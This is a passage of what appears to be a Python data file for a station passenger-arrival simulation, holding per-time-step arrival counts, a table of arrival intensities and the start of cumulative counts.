7, 3, 4, 1, 1, 5, 1, 0, 19, 10, 8, 4, 7, 6, 5, 4, 4, 1, 2, 0, 0), # 92 (14, 6, 15, 17, 8, 11, 3, 8, 8, 1, 1, 1, 0, 7, 16, 13, 7, 8, 6, 1, 7, 4, 1, 2, 2, 0), # 93 (15, 14, 13, 17, 6, 2, 3, 4, 9, 2, 2, 3, 0, 11, 15, 9, 2, 19, 3, 5, 3, 5, 4, 1, 0, 0), # 94 (20, 14, 9, 13, 10, 2, 8, 3, 4, 0, 2, 1, 0, 17, 10, 15, 3, 7, 8, 1, 4, 11, 4, 0, 2, 0), # 95 (13, 10, 16, 10, 12, 4, 5, 1, 2, 2, 3, 1, 0, 12, 12, 10, 4, 9, 6, 2, 0, 6, 2, 0, 0, 0), # 96 (12, 10, 12, 12, 10, 4, 3, 2, 3, 3, 2, 0, 0, 9, 9, 10, 10, 10, 4, 9, 4, 8, 4, 4, 2, 0), # 97 (13, 12, 7, 12, 10, 1, 3, 4, 10, 0, 0, 3, 0, 11, 12, 12, 2, 14, 7, 2, 0, 4, 7, 4, 3, 0), # 98 (17, 11, 12, 11, 9, 5, 3, 4, 2, 1, 1, 2, 0, 14, 10, 11, 5, 12, 5, 2, 5, 3, 4, 2, 2, 0), # 99 (15, 18, 15, 16, 9, 2, 4, 8, 6, 4, 5, 1, 0, 17, 11, 9, 6, 5, 4, 6, 7, 3, 2, 4, 1, 0), # 100 (10, 13, 16, 14, 9, 6, 8, 2, 9, 3, 0, 0, 0, 17, 12, 6, 3, 15, 5, 6, 2, 4, 10, 2, 2, 0), # 101 (14, 12, 9, 10, 12, 6, 7, 3, 4, 2, 2, 0, 0, 13, 10, 2, 6, 8, 5, 5, 3, 3, 0, 1, 1, 0), # 102 (16, 7, 6, 11, 12, 10, 7, 5, 8, 6, 0, 0, 0, 16, 9, 7, 5, 6, 7, 3, 2, 4, 9, 1, 1, 0), # 103 (15, 8, 13, 11, 14, 2, 3, 5, 6, 3, 4, 4, 0, 8, 16, 6, 9, 9, 6, 3, 2, 11, 4, 4, 1, 0), # 104 (12, 15, 7, 13, 10, 4, 7, 0, 7, 2, 2, 0, 0, 14, 7, 8, 6, 12, 8, 5, 3, 8, 5, 3, 2, 0), # 105 (14, 8, 10, 9, 8, 3, 4, 6, 5, 4, 5, 2, 0, 20, 8, 14, 5, 11, 7, 4, 8, 12, 4, 2, 0, 0), # 106 (15, 9, 17, 18, 10, 3, 7, 4, 6, 2, 5, 2, 0, 11, 13, 8, 5, 14, 6, 3, 4, 7, 6, 1, 0, 0), # 107 (11, 10, 6, 12, 12, 5, 1, 3, 6, 0, 5, 3, 0, 21, 7, 7, 12, 10, 3, 6, 3, 12, 3, 0, 1, 0), # 108 (13, 8, 8, 6, 12, 5, 3, 5, 5, 0, 0, 0, 0, 17, 10, 11, 5, 10, 3, 4, 4, 3, 4, 2, 0, 0), # 109 (19, 11, 8, 20, 10, 7, 4, 4, 5, 4, 1, 0, 0, 13, 9, 5, 2, 10, 4, 7, 4, 6, 1, 2, 1, 0), # 110 (7, 14, 11, 12, 11, 3, 7, 4, 7, 1, 1, 2, 0, 8, 7, 7, 8, 10, 2, 5, 2, 6, 3, 1, 2, 0), # 111 (22, 14, 7, 8, 10, 4, 4, 1, 7, 3, 0, 3, 0, 15, 15, 7, 5, 12, 5, 5, 8, 3, 2, 3, 0, 0), # 112 (4, 9, 16, 9, 14, 2, 2, 4, 5, 3, 2, 0, 0, 18, 4, 7, 5, 16, 5, 6, 7, 8, 3, 3, 2, 0), # 113 (18, 6, 13, 7, 5, 5, 5, 4, 6, 1, 1, 0, 0, 9, 9, 10, 10, 14, 4, 5, 0, 2, 4, 1, 2, 0), # 114 (20, 9, 9, 15, 12, 6, 2, 0, 3, 5, 2, 0, 0, 16, 14, 5, 7, 8, 5, 8, 2, 3, 1, 3, 1, 0), # 115 (14, 10, 19, 5, 12, 8, 4, 6, 3, 3, 1, 2, 0, 10, 5, 9, 6, 6, 3, 5, 2, 5, 6, 2, 0, 0), # 116 (9, 15, 15, 12, 10, 10, 2, 7, 8, 1, 1, 1, 0, 19, 9, 11, 11, 10, 7, 1, 1, 4, 7, 2, 1, 0), # 117 (15, 14, 11, 9, 11, 1, 3, 4, 11, 2, 1, 2, 0, 8, 10, 8, 6, 15, 3, 4, 3, 9, 1, 1, 1, 0), # 118 (14, 12, 11, 11, 12, 7, 4, 5, 1, 3, 1, 2, 0, 18, 7, 11, 10, 10, 10, 3, 3, 4, 5, 2, 0, 0), # 119 (12, 12, 11, 15, 12, 2, 5, 2, 6, 0, 3, 2, 0, 13, 8, 7, 6, 11, 6, 2, 7, 4, 2, 2, 0, 0), # 120 (14, 10, 17, 13, 7, 3, 4, 5, 2, 4, 0, 2, 0, 15, 10, 8, 6, 7, 6, 7, 2, 1, 2, 2, 0, 0), # 121 (18, 10, 10, 15, 7, 6, 8, 2, 5, 3, 4, 2, 0, 12, 13, 6, 5, 9, 8, 5, 6, 8, 3, 3, 0, 0), # 122 (13, 10, 17, 8, 6, 5, 3, 6, 5, 0, 5, 0, 0, 14, 10, 7, 6, 11, 0, 2, 2, 4, 4, 1, 1, 0), # 123 (12, 12, 8, 14, 9, 6, 4, 2, 1, 0, 2, 0, 0, 12, 10, 7, 8, 8, 3, 7, 4, 8, 5, 1, 0, 0), # 124 (11, 5, 7, 18, 13, 3, 7, 2, 2, 1, 0, 0, 0, 11, 9, 9, 4, 4, 6, 6, 4, 4, 2, 2, 1, 0), # 125 (14, 7, 9, 17, 9, 6, 2, 1, 4, 0, 0, 2, 0, 17, 9, 6, 4, 14, 5, 4, 1, 1, 4, 2, 0, 0), # 126 (10, 9, 7, 7, 9, 0, 4, 3, 6, 1, 1, 0, 0, 15, 12, 10, 3, 5, 2, 8, 2, 7, 2, 3, 0, 0), # 127 (10, 13, 12, 11, 8, 8, 4, 2, 6, 1, 1, 1, 0, 10, 10, 8, 4, 8, 3, 2, 4, 5, 3, 2, 2, 0), # 128 (6, 9, 20, 14, 12, 3, 5, 6, 3, 0, 1, 2, 0, 15, 8, 7, 5, 5, 3, 6, 7, 3, 4, 2, 0, 0), # 129 (15, 5, 10, 10, 9, 2, 6, 2, 5, 5, 0, 1, 0, 12, 9, 9, 6, 7, 4, 1, 5, 2, 4, 1, 1, 0), # 130 (11, 4, 11, 6, 8, 4, 5, 1, 1, 2, 1, 2, 0, 11, 8, 5, 3, 5, 8, 7, 2, 7, 4, 2, 1, 0), # 131 (5, 9, 9, 4, 10, 5, 3, 3, 6, 0, 3, 3, 0, 11, 12, 5, 8, 5, 9, 6, 3, 8, 4, 1, 1, 0), # 132 (11, 18, 10, 12, 8, 4, 2, 5, 3, 3, 3, 0, 0, 10, 11, 9, 6, 8, 6, 3, 6, 4, 3, 1, 1, 0), # 133 (13, 10, 10, 6, 9, 8, 4, 5, 4, 0, 3, 1, 0, 16, 10, 6, 6, 17, 2, 5, 4, 8, 7, 2, 0, 0), # 134 (15, 12, 12, 9, 10, 4, 6, 2, 2, 0, 3, 0, 0, 12, 7, 10, 4, 9, 8, 5, 2, 4, 4, 8, 2, 0), # 135 (11, 12, 8, 16, 8, 2, 3, 6, 5, 2, 1, 1, 0, 11, 9, 7, 7, 4, 7, 2, 6, 9, 4, 1, 0, 0), # 136 (12, 3, 14, 7, 10, 5, 4, 3, 5, 1, 2, 2, 0, 13, 4, 4, 6, 6, 4, 5, 1, 7, 5, 2, 0, 0), # 137 (14, 12, 10, 14, 13, 3, 6, 4, 4, 6, 2, 0, 0, 11, 8, 9, 8, 9, 3, 2, 4, 4, 3, 1, 0, 0), # 138 (10, 10, 9, 16, 16, 4, 1, 5, 5, 0, 1, 0, 0, 12, 12, 7, 3, 8, 8, 4, 1, 5, 2, 3, 1, 0), # 139 (12, 10, 16, 9, 7, 1, 4, 2, 5, 2, 2, 3, 0, 7, 12, 8, 4, 11, 7, 6, 5, 3, 6, 2, 0, 0), # 140 (13, 8, 6, 5, 7, 7, 5, 6, 3, 0, 4, 0, 0, 13, 8, 4, 2, 6, 6, 4, 4, 1, 2, 1, 1, 0), # 141 (13, 11, 12, 14, 11, 5, 2, 3, 3, 0, 2, 2, 0, 12, 10, 3, 7, 9, 6, 8, 2, 5, 6, 4, 1, 0), # 142 (17, 4, 14, 8, 10, 6, 1, 5, 6, 1, 0, 2, 0, 18, 9, 8, 6, 12, 4, 5, 1, 6, 4, 4, 1, 0), # 143 (12, 13, 11, 10, 5, 2, 4, 1, 7, 4, 2, 0, 0, 9, 8, 6, 6, 8, 5, 3, 2, 3, 1, 2, 2, 0), # 144 (6, 14, 9, 8, 8, 4, 3, 3, 3, 1, 4, 0, 0, 19, 11, 9, 3, 14, 5, 5, 4, 2, 2, 4, 2, 0), # 145 (13, 8, 15, 11, 7, 3, 0, 2, 9, 1, 1, 1, 0, 15, 11, 11, 7, 13, 12, 2, 1, 2, 0, 3, 0, 0), # 146 (11, 10, 11, 11, 10, 5, 3, 2, 1, 3, 0, 1, 0, 13, 11, 9, 6, 9, 6, 4, 3, 2, 1, 0, 0, 0), # 147 (12, 3, 9, 10, 21, 7, 2, 6, 5, 0, 2, 1, 0, 9, 9, 3, 8, 11, 3, 3, 4, 5, 4, 0, 0, 0), # 148 (12, 7, 0, 12, 10, 9, 4, 1, 4, 1, 1, 2, 0, 12, 13, 10, 4, 7, 2, 3, 2, 8, 4, 3, 0, 0), # 149 (7, 9, 9, 8, 13, 3, 4, 3, 2, 1, 4, 0, 0, 13, 9, 10, 4, 9, 2, 2, 5, 5, 2, 5, 2, 0), # 150 (9, 14, 9, 10, 12, 2, 2, 3, 6, 2, 1, 1, 0, 11, 10, 9, 7, 8, 5, 2, 3, 0, 7, 1, 0, 0), # 151 (11, 13, 12, 6, 8, 4, 6, 7, 6, 2, 1, 0, 0, 10, 11, 8, 8, 5, 7, 4, 5, 5, 1, 1, 2, 0), # 152 (16, 4, 6, 13, 10, 7, 2, 3, 6, 4, 1, 0, 0, 10, 11, 5, 5, 8, 3, 6, 4, 5, 3, 2, 0, 0), # 153 (14, 8, 9, 8, 9, 2, 2, 3, 4, 2, 3, 0, 0, 14, 11, 4, 6, 9, 5, 5, 4, 2, 2, 0, 0, 0), # 154 (3, 5, 7, 4, 4, 6, 4, 8, 8, 0, 0, 1, 0, 13, 5, 4, 8, 7, 5, 5, 1, 3, 1, 1, 1, 0), # 155 (6, 9, 16, 14, 9, 4, 4, 2, 4, 1, 0, 0, 0, 11, 8, 3, 3, 6, 3, 7, 4, 4, 4, 4, 0, 0), # 156 (6, 15, 14, 9, 13, 5, 2, 1, 5, 3, 2, 0, 0, 14, 8, 8, 8, 13, 5, 3, 0, 5, 1, 3, 0, 0), # 157 (12, 6, 11, 13, 8, 4, 2, 1, 3, 4, 3, 2, 0, 9, 12, 10, 4, 12, 2, 2, 6, 3, 3, 2, 0, 0), # 158 (8, 7, 5, 11, 6, 6, 2, 1, 6, 1, 2, 1, 0, 9, 10, 5, 4, 8, 5, 4, 2, 5, 4, 3, 1, 0), # 159 (5, 7, 4, 4, 5, 5, 2, 2, 12, 2, 2, 0, 0, 7, 8, 7, 4, 9, 4, 4, 4, 7, 5, 1, 0, 0), # 160 (8, 6, 14, 7, 11, 7, 3, 2, 5, 3, 0, 1, 0, 8, 8, 4, 7, 18, 3, 4, 3, 2, 4, 5, 1, 0), # 161 (4, 6, 10, 12, 10, 6, 4, 5, 3, 2, 1, 1, 0, 12, 9, 6, 6, 9, 4, 3, 4, 5, 1, 4, 0, 0), # 162 (8, 8, 5, 14, 6, 4, 2, 5, 0, 3, 2, 1, 0, 8, 9, 4, 3, 7, 4, 2, 2, 3, 1, 1, 0, 0), # 163 (9, 10, 9, 12, 6, 5, 3, 3, 2, 1, 0, 1, 0, 7, 10, 5, 6, 9, 3, 6, 6, 5, 3, 1, 0, 0), # 164 (10, 6, 11, 11, 10, 5, 5, 2, 2, 2, 2, 0, 0, 9, 7, 6, 6, 10, 4, 1, 4, 3, 2, 0, 3, 0), # 165 (9, 11, 11, 8, 12, 2, 4, 0, 4, 1, 0, 1, 0, 14, 5, 6, 4, 5, 8, 3, 0, 3, 1, 3, 1, 0), # 166 (9, 6, 5, 8, 12, 9, 2, 1, 6, 1, 1, 1, 0, 14, 5, 2, 4, 12, 5, 3, 2, 5, 2, 1, 1, 0), # 167 (9, 5, 6, 11, 7, 4, 2, 0, 5, 1, 4, 1, 0, 12, 4, 6, 5, 1, 6, 1, 4, 4, 1, 1, 0, 0), # 168 (11, 5, 5, 7, 11, 2, 1, 4, 2, 2, 1, 2, 0, 10, 12, 5, 0, 5, 3, 2, 2, 3, 3, 2, 1, 0), # 169 (5, 3, 7, 10, 8, 2, 1, 0, 2, 4, 1, 2, 0, 3, 7, 5, 4, 7, 2, 1, 1, 0, 2, 0, 0, 0), # 170 (11, 6, 9, 11, 5, 3, 3, 1, 2, 0, 1, 0, 0, 9, 4, 7, 4, 9, 3, 0, 1, 2, 1, 1, 0, 0), # 171 (9, 7, 8, 7, 9, 2, 1, 4, 3, 2, 2, 0, 0, 3, 5, 5, 4, 3, 2, 2, 2, 3, 1, 0, 0, 0), # 172 (11, 5, 9, 9, 3, 1, 0, 1, 8, 2, 1, 1, 0, 5, 4, 9, 0, 6, 3, 1, 1, 6, 5, 1, 0, 0), # 173 (4, 6, 5, 10, 5, 5, 2, 2, 3, 2, 0, 0, 0, 8, 7, 4, 5, 8, 2, 1, 0, 3, 3, 0, 1, 0), # 174 (5, 2, 4, 4, 5, 0, 4, 4, 5, 0, 1, 0, 0, 8, 5, 7, 4, 6, 3, 2, 5, 3, 0, 1, 0, 0), # 175 (5, 9, 10, 5, 1, 1, 1, 3, 4, 2, 1, 1, 0, 5, 2, 2, 3, 5, 2, 0, 1, 2, 1, 2, 1, 0), # 176 (3, 3, 8, 7, 4, 4, 0, 2, 0, 1, 0, 1, 0, 8, 7, 3, 6, 7, 3, 2, 3, 3, 2, 1, 0, 0), # 177 (1, 3, 4, 6, 5, 2, 1, 3, 5, 1, 0, 1, 0, 4, 8, 8, 7, 7, 3, 2, 3, 3, 3, 0, 0, 0), # 178 (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0), # 179 ) station_arriving_intensity = ( (7.029211809720476, 7.735403983570434, 7.29579652145751, 8.700534883408807, 7.776559850653457, 4.394116904852274, 5.804449861523481, 6.514446642171193, 8.52613868703521, 5.541221021731318, 5.887371229439844, 6.857081109628643, 7.117432297609708), # 0 (7.496058012827964, 8.246084971802663, 7.777485227862214, 9.275201954587263, 8.291486472463932, 4.684377017659578, 6.187256517769172, 6.943319212067992, 9.089143456866074, 5.90657296918801, 6.2763345903385845, 7.309703325140097, 7.587708306415797), # 1 (7.9614122125716245, 8.754739239247371, 8.257259199766379, 9.847582786530712, 8.804548163249642, 4.9734791603174235, 6.568545911144986, 7.370475347066188, 9.64990152962857, 6.270479285028765, 6.663752408286839, 7.760525712874277, 8.056110759493567), # 2 (8.423460910405188, 9.259348702711026, 8.733215217047796, 10.415406970544904, 9.313726346402664, 5.260276871619158, 6.946805098307138, 7.79422162049231, 10.206189225289531, 6.631495777796654, 7.0480877765583365, 8.207759958902646, 8.520781928755916), # 3 (8.880390607782374, 9.757895279000085, 9.203450059584252, 10.976404097935598, 9.81700244531509, 5.543623690358135, 7.320521135911843, 8.212864605672882, 10.75578286381579, 6.988178256034751, 7.4278037884268056, 8.64961774929667, 8.979864086115745), # 4 (9.330387806156915, 10.248360884921025, 9.666060507253526, 11.528303760008551, 10.312357883378994, 5.822373155327701, 7.688181080615314, 8.62471087593443, 11.296458765174183, 7.339082528286129, 7.801363537165986, 9.084310770127807, 9.43149950348596), # 5 (9.771639006982534, 10.728727437280302, 10.119143339933412, 12.068835548069513, 10.79777408398646, 6.09537880532121, 8.048271989073768, 9.028067004603484, 11.825993249331543, 7.682764403093862, 8.167230116049597, 9.510050707467531, 9.87383045277945), # 6 (10.202330711712957, 11.196976852884385, 10.56079533750169, 12.595729053424249, 11.271232470529577, 6.36149417913201, 8.39928091794342, 9.421239565006573, 12.342162636254702, 8.017779689001022, 8.523866618351377, 9.925049247387301, 10.304999205909127), # 7 (10.62064942180191, 11.651091048539739, 10.989113279836156, 13.1067138673785, 11.730714466400421, 6.619572815553446, 8.739694923880478, 9.802535130470215, 12.842743245910489, 8.342684194550685, 8.86973613734505, 10.327518075958585, 10.723148034787885), # 8 (11.02478163870312, 12.089051941052832, 11.402193946814586, 13.599519581238038, 12.174201494991074, 6.868468253378878, 9.068001063541168, 10.170260274320949, 13.325511398265744, 8.65603372828592, 9.20330176630435, 10.71566887925284, 11.126419211328628), # 9 (11.412913863870306, 12.508841447230123, 11.798134118314776, 14.071875786308604, 12.599674979693622, 7.107034031401651, 9.382686393581697, 10.522721569885295, 13.7882434132873, 8.956384098749801, 9.523026598503003, 11.087713343341534, 11.512955007444255), # 10 (11.783232598757209, 12.90844148387809, 12.175030574214501, 14.521512073895957, 13.005116343900148, 7.334123688415116, 9.682237970658283, 10.85822559048978, 14.228715610941991, 9.242291114485408, 9.82737372721475, 11.441863154296136, 11.880897695047656), # 11 (12.133924344817538, 13.285833967803178, 12.530980094391557, 14.946158035305858, 13.38850701100273, 7.5485907632126175, 9.965142851427137, 11.17507890946093, 14.644704311196652, 9.512310584035802, 10.114806245713309, 11.776329998188096, 12.22838954605175), # 12 (12.463175603505027, 13.639000815811869, 12.864079458723728, 15.343543261844063, 13.747828404393443, 7.749288794587514, 10.22988809254448, 11.471588100125276, 15.033985834018106, 9.764998315944066, 10.383787247272418, 12.08932556108889, 12.55357283236943), # 13 (12.769172876273403, 13.965923944710624, 13.172425447088806, 15.71139734481631, 14.081061947464386, 7.935071321333148, 10.474960750666526, 11.746059735809345, 15.39433649937319, 9.998910118753269, 10.6327798251658, 12.379061529069986, 12.85458982591359), # 14 (13.050102664576398, 14.264585271305906, 13.45411483936456, 16.047449875528383, 14.386189063607633, 8.104791882242878, 10.698847882449478, 11.99680038983966, 15.723532627228748, 10.212601801006487, 10.860247072667189, 12.64374958820284, 13.129582798597134), # 15 (13.30415146986772, 14.532966712404187, 13.707244415428796, 16.349430445286004, 14.661191176215267, 8.257304016110044, 10.900036544549568, 12.222116635542745, 16.019350537551603, 10.404629171246796, 11.06465208305032, 12.881601424558916, 13.376694022332964), # 16 (13.529505793601107, 14.769050184811926, 13.929910955159293, 16.61506864539496, 14.904049708679375, 8.391461261728, 11.077013793622996, 12.420315046245145, 16.27956655030858, 10.573548038017254, 11.24445794958892, 13.090828724209679, 13.594065769033982), # 17 (13.724352137230287, 14.970817605335585, 14.120211238433834, 16.842094067160993, 15.112746084392025, 8.506117157890104, 11.228266686325993, 12.589702195273366, 16.501956985466535, 10.717914209860952, 11.398127765556712, 13.269643173226603, 13.779840310613086), # 18 (13.88687700220898, 15.136250890781643, 14.27624204513021, 17.02823630188984, 15.285261726745313, 8.600125243389693, 11.352282279314753, 12.728584655953943, 16.68429816299229, 10.83628349532096, 11.52412462422743, 13.416256457681136, 13.932159918983176), # 19 (14.015266889990915, 15.263331957956549, 14.396100155126206, 17.171224940887296, 15.419578059131322, 8.672339057020126, 11.44754762924551, 12.835269001613405, 16.82436640285268, 10.927211702940342, 11.62091161887481, 13.528880263644748, 14.049166866057154), # 20 (14.107708302029813, 15.350042723666784, 14.477882348299607, 17.26878957545908, 15.513676504942126, 8.72161213757475, 11.512549792774463, 12.908061805578273, 16.91993802501453, 10.989254641262178, 11.686951842772585, 13.60572627718891, 14.12900342374791), # 21 (14.162387739779412, 15.394365104718803, 14.5196854045282, 17.31865979691097, 15.565538487569807, 8.746798023846914, 11.54577582655784, 12.945269641175082, 16.968789349444684, 11.02096811882954, 11.720708389194478, 13.645006184385087, 14.16981186396836), # 22 (14.182550708679697, 15.39961303155007, 14.524892455418383, 17.324903137860087, 15.578824878445637, 8.75, 11.549725603163076, 12.949291358024693, 16.974896728395063, 11.024709181527207, 11.724941252026436, 13.649856607224509, 14.175), # 23 (14.197417378247815, 15.396551851851854, 14.524040740740743, 17.324134722222226, 15.586350659060795, 8.75, 11.547555337690634, 12.943700000000002, 16.974078333333335, 11.02241086419753, 11.724474410774413, 13.648720987654322, 14.175), # 24 (14.211970122296213, 15.390517832647463, 14.522359396433473, 17.322614454732513, 15.593710923832306, 8.75, 11.543278463648836, 12.932716049382718, 16.97246141975309, 11.01788637402835, 11.723548759196907, 13.646479195244629, 14.175), # 25 (14.226207826667249, 15.381603155006863, 14.519871467764064, 17.320359619341563, 15.600905415789548, 8.75, 11.53696140563221, 12.916546913580248, 16.97006672839506, 11.011210992226795, 11.722172677391198, 13.643161957018751, 14.175), # 26 (14.240129377203292, 15.3699, 14.5166, 17.3173875, 15.607933877961901, 8.75, 11.528670588235297, 12.895400000000002, 16.966915, 11.00246, 11.720354545454546, 13.638800000000003, 14.175), # 27 (14.253733659746702, 15.355500548696845, 14.51256803840878, 17.313715380658437, 15.614796053378763, 8.75, 11.518472436052612, 12.869482716049385, 16.963026975308644, 10.9917086785551, 11.718102743484225, 13.633424051211708, 14.175), # 28 (14.26701956013985, 15.338496982167355, 14.50779862825789, 17.30936054526749, 15.62149168506951, 8.75, 11.506433373678693, 12.839002469135803, 16.95842339506173, 10.979032309099225, 11.715425651577503, 13.627064837677183, 14.175), # 29 (14.279985964225098, 15.318981481481483, 14.502314814814815, 17.30434027777778, 15.628020516063533, 8.75, 11.492619825708061, 12.804166666666665, 16.953125, 10.964506172839508, 11.71233164983165, 13.619753086419752, 14.175), # 30 (14.292631757844802, 15.297046227709194, 14.496139643347053, 17.29867186213992, 15.634382289390214, 8.75, 11.477098216735257, 12.765182716049384, 16.947152530864198, 10.948205550983083, 11.708829118343933, 13.611519524462738, 14.175), # 31 (14.304955826841338, 15.27278340192044, 14.489296159122084, 17.29237258230453, 15.640576748078935, 8.75, 11.4599349713548, 12.72225802469136, 16.940526728395064, 10.930205724737084, 11.704926437211622, 13.602394878829449, 14.175), # 32 (14.316957057057056, 15.246285185185185, 14.481807407407409, 17.28545972222222, 15.646603635159089, 8.75, 11.441196514161222, 12.675600000000001, 16.933268333333334, 10.910581975308643, 11.700631986531986, 13.59240987654321, 14.175), # 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152 (10.897033588275185, 8.61712435158296, 11.482251647627416, 13.159187033792707, 13.11470454602428, 7.318791048167222, 6.929063810741687, 7.841232219061167, 14.058309087801755, 7.062929369089481, 8.316815455699683, 9.92402828118809, 11.68464226121364), # 153 (10.81262003423102, 8.534185365897834, 11.422924477189063, 13.078280853413174, 13.042726487861813, 7.288854057067317, 6.87025313968732, 7.8124531118187726, 14.009925457519413, 7.013019423465095, 8.260930064044857, 9.861181374586256, 11.6191092156515), # 154 (10.72606825993309, 8.448916964658093, 11.361703047816906, 12.99488293561833, 12.968776807822776, 7.257796941777861, 6.809664942048866, 7.782239138911491, 13.95962058285218, 6.9614650283384565, 8.203154434992767, 9.796328772892876, 11.551739314998438), # 155 (10.637327353293314, 8.361234611710243, 11.298532183655539, 12.908919102893627, 12.892813332647707, 7.225581056931246, 6.74723555776578, 7.750525284055986, 13.907325442542877, 6.9082075819648825, 8.143420671591107, 9.729406117611353, 11.48249014823076), # 156 (10.546346402223609, 8.271053770900794, 11.233356708849547, 12.820315177724513, 12.81479388907716, 7.19216775715986, 6.6829013267775075, 7.717246530968915, 13.852971015334345, 6.853188482599679, 8.08166087688757, 9.660349050245092, 11.411319304324769), # 157 (10.450553324967336, 8.176634369081162, 11.163028735463298, 12.725677414311741, 12.731153548219398, 7.155434266843955, 6.615149409299001, 7.680115733289122, 13.792326928238738, 6.794712282807602, 8.01583405355452, 9.586639389872076, 11.335080203181485), # 158 (10.335201473769764, 8.06829144743927, 11.069432945764184, 12.605568022303835, 12.62126783369428, 7.103165507209945, 6.535497868740003, 7.626098945870136, 13.700998165711002, 6.723193391738244, 7.934383709866593, 9.493907533156353, 11.235598705688274), # 159 (10.198820932866035, 7.945135419957, 10.950689341138245, 12.458008514572404, 12.482988183885514, 7.034077814466758, 6.443141247737298, 7.553838865338286, 13.576395318120113, 6.637687912608051, 7.8361633120533565, 9.380702728442985, 11.110988852451014), # 160 (10.042510876420344, 7.8079692153126565, 10.808065760674433, 12.28440150525942, 12.317750373994958, 6.94900813819844, 6.338754024409627, 7.464240746353693, 13.420161673798626, 6.5389214704393135, 7.7220383164395905, 9.248074456470599, 10.962523662746737), # 161 (9.8673704785969, 7.657595762184535, 10.642830043461695, 12.086149608506858, 12.126990179224487, 6.848793427989039, 6.223010676875733, 7.358209843576484, 13.233940521079093, 6.427619690254325, 7.592874179350069, 9.09707219797781, 10.791476155852466), # 162 (9.674498913559898, 7.494817989250934, 10.456250028588983, 11.864655438456708, 11.912143374775964, 6.734270633422602, 6.096585683254362, 7.2366514116667755, 13.019375148294069, 6.304508197075376, 7.449536357109572, 8.928745433703247, 10.599119351045232), # 163 (9.464995355473539, 7.320438825190149, 10.249593555145248, 11.621321609250947, 11.674645735851264, 6.606276704083181, 5.960153521664253, 7.100470705284697, 12.778108843776113, 6.170312615924756, 7.292890306042875, 8.744143644385526, 10.386726267602059), # 164 (9.239958978502024, 7.135261198680485, 10.024128462219437, 11.357550735031554, 11.415933037652254, 6.465648589554821, 5.814388670224151, 6.950572979090365, 12.511784895857772, 6.02575857182476, 7.123801482474756, 8.544316310763268, 10.155569924799979), # 165 (9.000488956809557, 6.940088038400237, 9.7811225889005, 11.074745429940503, 11.137441055380801, 6.313223239421572, 5.659965607052801, 6.787863487743908, 12.222046592871603, 5.871571689797677, 6.943135342729992, 8.330312913575103, 9.906923341916015), # 166 (8.747684464560333, 6.735722273027703, 9.521843774277388, 10.774308308119782, 10.840605564238773, 6.149837603267482, 5.497558810268945, 6.613247485905448, 11.91053722315016, 5.7084775948658, 6.751757343133359, 8.103182933559642, 9.642059538227196), # 167 (8.482644675918554, 6.52296683124118, 9.247559857439049, 10.457641983711365, 10.526862339428039, 5.9763286306765995, 5.327842757991326, 6.427630228235103, 11.578900075025999, 5.5372019120514215, 6.550532940009634, 7.863975851455517, 9.362251533010546), # 168 (8.206468765048422, 6.302624641718972, 8.959538677474432, 10.126149070857236, 10.197647156150468, 5.793533271232973, 5.151491928338689, 6.231916969393004, 11.228778436831673, 5.358470266376831, 6.3403275896835956, 7.613741148001342, 9.0687723455431), # 169 (7.9202559061141375, 6.0754986331393726, 8.659048073472489, 9.781232183699368, 9.854395789607928, 5.60228847452065, 4.9691807994297745, 6.027012964039266, 10.861815596899735, 5.173008282864322, 6.122006748480023, 7.353528303935743, 8.762894995101878), # 170 (7.6251052732799005, 5.842391734180682, 8.34735588452217, 9.424293936379751, 9.498544015002288, 5.403431190123678, 4.781583849383328, 5.813823466834017, 10.47965484356274, 4.981541586536184, 5.896435872723688, 7.0843867999973416, 8.445892500963913), # 171 (7.322116040709912, 5.604106873521197, 8.025729949712423, 9.056736943040356, 9.131527607535416, 5.197798367626108, 4.5893755563180925, 5.593253732437379, 10.083939465153241, 4.784795802414712, 5.664480418739371, 6.80736611692476, 8.119037882406225), # 172 (7.012387382568372, 5.3614469798392195, 7.695438108132197, 8.679963817823166, 8.754782342409182, 4.9862269566119855, 4.39323039835281, 5.366209015509473, 9.676312750003792, 4.583496555522195, 5.427005842851849, 6.523515735456615, 7.783604158705848), # 173 (6.697018473019482, 5.115214981813045, 7.357748198870443, 8.295377174870158, 8.369743994825454, 4.76955390666536, 4.193822853606226, 5.133594570710425, 9.25841798644695, 4.3783694708809255, 5.1848776013858995, 6.233885136331535, 7.440864349139807), # 174 (6.377108486227438, 4.866213808120973, 7.013928061016112, 7.904379628323315, 7.977848339986097, 4.54861616737028, 3.9918274001970815, 4.896315652700355, 8.831898462815268, 4.170140173513194, 4.938961150666297, 5.939523800288141, 7.092091472985131), # 175 (6.053756596356447, 4.615246387441302, 6.66524553365815, 7.508373792324615, 7.580531153092983, 4.324250688310793, 3.787918516244121, 4.655277516139389, 8.3983974674413, 3.959534288441294, 4.690121947017822, 5.641481208065051, 6.738558549518844), # 176 (5.7280619775707065, 4.363115648452332, 6.3129684558855095, 7.108762281016037, 7.179228209347984, 4.097294419070949, 3.582770679866088, 4.411385415687646, 7.959558288657599, 3.7472774406875144, 4.43922544676525, 5.340806840400891, 6.381538598017975), # 177 (5.401123804034416, 4.11062451983236, 5.95836466678714, 6.7069477085395635, 6.775375283952959, 3.8685843092347962, 3.3770583691817246, 4.165544606005252, 7.51702421479672, 3.5340952552741505, 4.187137106233358, 5.038550178034279, 6.022304637759553), # 178 (0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0), # 179 ) passenger_arriving_acc = ( (5, 5, 3, 0, 3, 4, 0, 2, 6, 1, 1, 1, 0, 4, 13, 6, 6, 10, 5, 4, 1, 1, 2, 0, 1, 0), # 0 (15, 15, 17, 5, 8, 7, 2, 6, 13, 3, 2, 2, 0, 13, 19, 11, 12, 17, 11, 5, 3, 3, 3, 0, 1, 0), # 1 (22, 22, 22, 15, 16, 10, 7, 6, 16, 3, 2, 3, 0, 20, 28, 17, 18, 24, 11, 8, 5, 5, 5, 0, 1, 0), # 2 (29, 27, 29, 22, 18, 18, 9, 7, 18, 4, 2, 4, 0, 29, 38, 23, 26, 30, 14, 10, 6, 6, 10, 0, 3, 0), # 3 (42, 31, 34, 35, 24, 24, 12, 12, 21, 6, 3, 5, 0, 39, 45, 30, 31, 38, 17, 12, 9, 12, 11, 0, 5, 0), # 4 (47, 37, 37, 45, 28, 27, 15, 14, 26, 10, 5, 6, 0, 48, 54, 39, 36, 47, 28, 16, 13, 15, 16, 0, 8, 0), # 5 (54, 49, 46, 55, 39, 29, 